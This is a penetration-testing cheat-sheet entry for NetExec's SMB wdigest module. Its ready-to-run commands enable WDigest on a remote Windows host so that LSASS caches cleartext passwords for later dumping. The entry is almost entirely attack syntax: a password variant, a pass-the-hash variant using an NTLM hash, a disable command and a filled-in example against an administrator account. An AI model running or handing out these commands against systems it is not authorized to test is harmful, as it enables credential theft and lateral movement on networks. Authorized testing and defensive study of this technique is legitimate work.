NetExec SMB WDigest Enable

Enable or disable WDigest authentication to force cleartext password caching in LSASS

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / Hash Dumping
Platform: linux
Requires: password
Protocols: SMB

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Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' -M wdigest -o ACTION=enable

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' -M wdigest -o ACTION=enable

Disable WDigest requires password

nxc smb '<ip>' -u '<user>' -p '<password>' -M wdigest -o ACTION=disable

Examples

nxc smb '192.168.1.100' -u 'administrator' -p 'password' -M wdigest -o ACTION=enable

Tags

nxc smb wdigest cleartext lsass credential-dumping

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